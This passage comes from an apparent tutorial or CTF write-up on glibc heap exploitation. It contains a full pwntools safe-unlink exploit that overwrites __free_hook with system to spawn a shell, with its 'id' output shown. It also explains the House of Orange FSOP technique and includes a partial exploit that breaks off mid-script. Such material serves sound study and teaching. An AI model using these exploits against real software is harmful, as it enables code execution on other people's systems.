[40m[35m`__free_hook`[39m[49m, and [40m[35m`edit`[39m[49m
"chunk A" once more to write a one_gadget.
Or so I thought, but as it turns out I couldn't satisfy any of the
conditions of the one_gadgets, even with
[40m`rdi`[49m/[40m`[rdi]`[49m or [40m`rax`[49m control (by
clobbering [40m[35m`m_chunk[1].user_data`[39m[49m).
But if we have an arbitrary write, we can just write
[40m`"/bin/sh"`[49m at the start of our fake chunk and set
[40m[35m`__free_hook`[39m[49m to [40m[35m`system`[39m[49m,
nice and simple.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"safe_unlink"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0xa0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x91[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mm_array[0m[1m[36m-[0m[1m[36m0x18[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mm_array[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x90[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m...
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m [0m[33m# trigger unlink of chunk A[0m[1m[37m[0m
[33m# m_array[0].user_data = &m_array[0].user_data-0x18[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m0x18[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[37mlen[0m[1m[37m([0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)))[0m[1m[37m[0m
[33m# m_array[0].user_data = &__free_hook-8[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[33m# trigger __free_hook with address to "/bin/sh" as argument[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mHouse of Orange[22m[24m
Fast forward to 2016 when the House of Orange [4] technique was
introduced at HITCON CTF Quals.
This attack is a bit convoluted as it relies on internals of
[40m[35m`_IO_FILE`[39m[49m for a specific version of Glibc, but
the technique has pedagogical value for learning FSOP and the
unsortedbin attack.
The prescient bit of information is that we can write the head of
the unsortedbin (the first bin in
[40m[35m`main_arena.bins`[39m[49m) freelist to an arbitrary
address, where [40m[35m`main_arena.bins[0] ==
&tail;_of_unsortedbin`[39m[49m.
There doesn't seem to be an immediately obvious utility aside from
leaking a libc address, but we can sneakily replace a different
linked list head in Glibc with the head of the unsortedbin linked
list.
The big non-heap candidate here is
[40m[35m`_IO_list_all`[39m[49m, which is a linked list of
[40m[35m`_IO_FILE`[39m[49m structures for stdio
(stdin/stdout/stderr).
In a similar vein to the malloc hooks,
[40m[35m`_IO_FILE`[39m[49m (or technically
[40m[35m`_IO_FILE_plus`[39m[49m) has a vtable pointer that
could be clobbered, and just like malloc hooks, we can reliably
trigger execution of one or more functions in this vtable
([40m[35m`_IO_flush_all_lockp`[39m[49m will traverse all the
files in [40m[35m`_IO_list_all`[39m[49m and execute each
[40m[35m`_IO_FILE`[39m[49m's [40m[35m`__overflow`[39m[49m
method; we can trigger this by intentionally failing a heap
corruption check, which will [40m[35m`abort`[39m[49m which
eventually calls [40m[35m`_IO_flush_all_lockp`[39m[49m).
[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37m_flags[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_read_ptr[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_read_end[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_read_base[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_write_base[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_write_ptr[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_write_end[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_buf_base[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_buf_end[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_save_base[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_backup_base[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_IO_save_end[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m_IO_marker[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_markers[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_chain[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37m_fileno[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37m_flags2[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m__off_t[0m[1m[37m [0m[1m[37m_old_offset[0m[1m[37m;[0m[1m[37m [0m[33m// __off_t == long int[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mshort[0m[1m[37m [0m[1m[37m_cur_column[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36msigned[0m[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37m_vtable_offset[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37m_shortbuf[0m[1m[37m[[0m[1m[36m1[0m[1m[37m];[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_lock_t[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m_lock[0m[1m[37m;[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE_complete[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE[0m[1m[37m [0m[1m[37m_file[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m__off64_t[0m[1m[37m [0m[1m[37m_offset[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m__pad1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m__pad2[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m__pad3[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37m__pad4[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37m__pad5[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37m_mode[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37m_unused2[0m[1m[37m[[0m[1m[36m20[0m[1m[37m];[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[33mstruct[0m[1m[37m [0m[1m[37m_IO_jump_t[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37m__dummy[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37m__dummy2[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33m/* these are all function pointers */[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_finish_t[0m[1m[37m [0m[1m[37m__finish[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_overflow_t[0m[1m[37m [0m[1m[37m__overflow[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_underflow_t[0m[1m[37m [0m[1m[37m__underflow[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_underflow_t[0m[1m[37m [0m[1m[37m__uflow[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_pbackfail_t[0m[1m[37m [0m[1m[37m__pbackfail[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_xsputn_t[0m[1m[37m [0m[1m[37m__xsputn[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_xsgetn_t[0m[1m[37m [0m[1m[37m__xsgetn[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_seekoff_t[0m[1m[37m [0m[1m[37m__seekoff[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_seekpos_t[0m[1m[37m [0m[1m[37m__seekpos[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_setbuf_t[0m[1m[37m [0m[1m[37m__setbuf[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_sync_t[0m[1m[37m [0m[1m[37m__sync[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_doallocate_t[0m[1m[37m [0m[1m[37m__doallocate[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_read_t[0m[1m[37m [0m[1m[37m__read[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_write_t[0m[1m[37m [0m[1m[37m__write[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_seek_t[0m[1m[37m [0m[1m[37m__seek[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_close_t[0m[1m[37m [0m[1m[37m__close[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_stat_t[0m[1m[37m [0m[1m[37m__stat[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_showmanyc_t[0m[1m[37m [0m[1m[37m__showmanyc[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_IO_imbue_t[0m[1m[37m [0m[1m[37m__imbue[0m[1m[37m;[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE_plus[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m_IO_FILE_complete[0m[1m[37m [0m[1m[37mfile[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m_IO_jump_t[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37mvtable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
=== [1m[4mSolve[22m[24m
There are three "phases" to our House of Orange attack (phases two
and three happen at the same time but I think it's helpful to
mentally separate them):
1. Clobber top chunk's [40m[35m`size`[39m[49m field to a small
page-aligned value and request a chunk larger than the top
chunk can service.
This causes malloc to call [40m[35m`sbrk`[39m[49m for a new
top chunk that can service the request, and the old top chunk
is added to the unsortedbin freelist (it doesn't get
extended/consolidated because the new top chunk is not
contiguous with the old one).
2. Overwrite the old top chunk's [40m[35m`bk`[39m[49m pointer
to 16 bytes before [40m[35m`_IO_list_all`[39m[49m; when we
next request a chunk, [40m[35m`_IO_list_all`[39m[49m will
be clobbered with [40m[35m`main_arena.bins[0]-0x10`[39m[49m
(aka the head of the unsortedbin freelist).
3. In addition to overwriting the old top chunk's
[40m[35m`bk`[39m[49m pointer, also construct a fake
[40m[35m`_IO_FILE_plus`[39m[49m (and stuff in a
[40m[35m`_IO_jump_t`[39m[49m somewhere) that coincides with
the old top chunk.
There will be a few very basic checks against our fake
[40m[35m`_IO_FILE_plus`[39m[49m, so be sure to pass those.
This has the secondary effect of corrupting the heap, which
will call
[40m[35m`(fake_filep->vtable.__overflow)(&fake_filep,
-1)`[39m[49m; because
[40m[35m`fake_filep->vtable.__overflow`[39m[49m is set to
[40m[35m`system`[39m[49m and [40m[35m`flags`[39m[49m is
set to [40m`"/bin/sh"`[49m ([40m[35m`flags`[39m[49m is
the first member of [40m[35m`_IO_FILE`[39m[49m, so
[40m[35m`&fake_filep == &fake_filep.flags`[39m[49m), this
calls [40m[35m`system("/bin/sh")`[39m[49m.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_orange"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37msize[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[36m0x18[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33melif[0m[1m[37m [0m[1m[37msize[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[36m0xfc0[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[33mraise[0m[1m[37m [0m[1m[37mException[0m[1m[37m([0m[33m"size must be 0xfc0 (large) or 0x18 (small)"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[37mlen[0m[1m[37m([0m[1m[37mdata[0m[1m[37m)[0m[1m[37m [0m[1m[36m>[0m[1m[37m [0m[1m[36m0xf0[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[33mraise[0m[1m[37m [0m[1m[37mException[0m[1m[37m([0m[33m"data cannot be larger than 0xf0 bytes"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mfake_vtable[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xcafebabe[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m),[0m[1m[37m[0m
[1m[37m)[0m[1m[37m[0m
[1m[37mfake_filep[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[33m# _flags / old_top_chunk.prev_size[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x60[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m),[0m[1m[37m [0m[33m# _IO_read_ptr / old_top_chunk.size[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m_IO_list_all[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m),[0m[1m[37m [0m[33m# old_top_chunk.bk[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m1[0m[1m[37m),[0m[1m[37m [0m[33m# _IO_write_base[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m2[0m[1m[37m),[0m[1m[37m [0m[33m# _IO_write_ptr[0m[1m[37m[0m
[1m[37m [0m[1m[37mfake_vtable[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0xc0[0m[1m[36m-[0m[1m[36m0x30[0m[1m[36m-[0m[37mlen[0m[1m[37m([0m[1m[37mfake_vtable[0m[1m[37m)),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp32[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m [0m[33m# _mode[0m[1m[37m[0m
[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m20[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x20[0m[1m[36m+[0m[1m[36m0x30[0m[1m[37m),[0m[1m[37m [0m[33m# vtable[0m[1m[37m[0m
[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33m# phase 1: turn top chunk into a small chunk and add it to the unsortedbin[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
